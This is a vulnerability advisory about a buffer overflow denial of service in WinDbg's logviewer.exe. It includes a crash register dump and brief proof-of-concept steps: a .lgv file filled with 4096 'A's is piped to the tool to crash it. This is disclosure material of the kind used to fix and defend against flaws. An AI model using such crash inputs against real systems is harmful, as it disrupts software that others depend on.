[+] Credits: HYP3RLINX	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MS-WINDBG-LOGVIEWER-BUFFER-OVERFLOW.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
====================
WinDbg logviewer.exe

LogViewer (logviewer.exe), a tool that displays the logs created, part of WinDbg application.


Vulnerability Type:
===================
Buffer Overflow DOS



Vulnerability Details:
=====================

Buffer overflow in WinDbg "logviewer.exe" when opening corrupted .lgv files. App crash then Overwrite of MMX registers etc...
this utility belongs to Windows Kits/8.1/Debuggers/x86

Read Access Violation / Memory Corruption
Win32 API Log Viewer
6.3.9600.17298
Windbg x86
logviewer.exe
Log Viewer 3.01 for x86


(5fb8.32fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\msvcrt.dll - 
eax=013dad30 ebx=005d0000 ecx=00000041 edx=00000000 esi=005d2000 edi=013dcd30
eip=754fa048 esp=0009f840 ebp=0009f848 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
msvcrt!memmove+0x1ee:
754fa048 660f6f06        movdqa  xmm0,xmmword ptr [esi] ds:002b:005d2000=????????????????????????????????

gs 2b
fs 53
es 2b
ds 2b
edi 136cd30
esi 7d2000
ebx 7d0000
edx 0
ecx 41
eax 136ad30
ebp df750
eip 754fa048
cs 23
efl 210206
esp df748
ss 2b
dr0 0
dr1 0
dr2 0
dr3 0
dr6 0
dr7 0
di cd30
si 2000
bx 0
dx 0
cx 41
ax ad30
bp f750
ip a048
fl 206
sp f748
bl 0
dl 0
cl 41
al 30
bh 0
dh 0
ch 0
ah ad
fpcw 27f
fpsw 4020
fptw ffff
fopcode 0
fpip 76454c1e
fpipsel 23
fpdp 6aec2c
fpdpsel 2b
st0 -1.00000000000000e+000
st1 -1.00000000000000e+000
st2 -1.00000000000000e+000
st3 9.60000000000000e+001
st4 1.08506945252884e-004
st5 -1.00000000000000e+000
st6 0.00000000000000e+000
st7 0.00000000000000e+000
mm0 0:2:2:2
mm1 0:0:2:202
mm2 0:1:1:1
mm3 c000:0:0:0
mm4 e38e:3900:0:0
mm5 0:0:0:0
mm6 0:0:0:0
mm7 0:0:0:0
mxcsr 1fa0
xmm0 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm1 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm2 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm3 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm4 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm5 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm6 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
xmm7 1.207843e+001: 1.207843e+001: 1.207843e+001: 1.207843e+001
iopl 0
of 0
df 0
if 1
tf 0
sf 0
zf 0
af 0
pf 1
cf 0
vip 0
vif 0
xmm0l 4141:4141:4141:4141
xmm1l 4141:4141:4141:4141
xmm2l 4141:4141:4141:4141
xmm3l 4141:4141:4141:4141
xmm4l 4141:4141:4141:4141
xmm5l 4141:4141:4141:4141
xmm6l 4141:4141:4141:4141
xmm7l 4141:4141:4141:4141
xmm0h 4141:4141:4141:4141
xmm1h 4141:4141:4141:4141
xmm2h 4141:4141:4141:4141
xmm3h 4141:4141:4141:4141
xmm4h 4141:4141:4141:4141
xmm5h 4141:4141:4141:4141
xmm6h 4141:4141:4141:4141
xmm7h 4141:4141:4141:4141
xmm0/0 41414141
xmm0/1 41414141
xmm0/2 41414141
xmm0/3 41414141
xmm1/0 41414141
xmm1/1 41414141
xmm1/2 41414141
xmm1/3 41414141
xmm2/0 41414141
xmm2/1 41414141
xmm2/2 41414141
xmm2/3 41414141
xmm3/0 41414141
xmm3/1 41414141
xmm3/2 41414141
xmm3/3 41414141
xmm4/0 41414141
xmm4/1 41414141
xmm4/2 41414141
xmm4/3 41414141
xmm5/0 41414141
xmm5/1 41414141
xmm5/2 41414141
xmm5/3 41414141
xmm6/0 41414141
xmm6/1 41414141
xmm6/2 41414141
xmm6/3 41414141
xmm7/0 41414141
xmm7/1 41414141
xmm7/2 41414141
xmm7/3 41414141


Exploit code(s):
===============

1) create  .lgv file with bunch of 'A's length of 4096 overwrites XXM registers, ECX etc
2) run from command line pipe the file to it to watch it crash and burn.

///////////////////////////////////////////////////////////////////////



Disclosure Timeline:
===============================
Vendor Notification: June 23, 2016
Vendor acknowledged: July 1, 2016
Vendor reply: Will not fix (stability issue)
July 8, 2016 : Public Disclosure



Severity Level:
================
Low



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX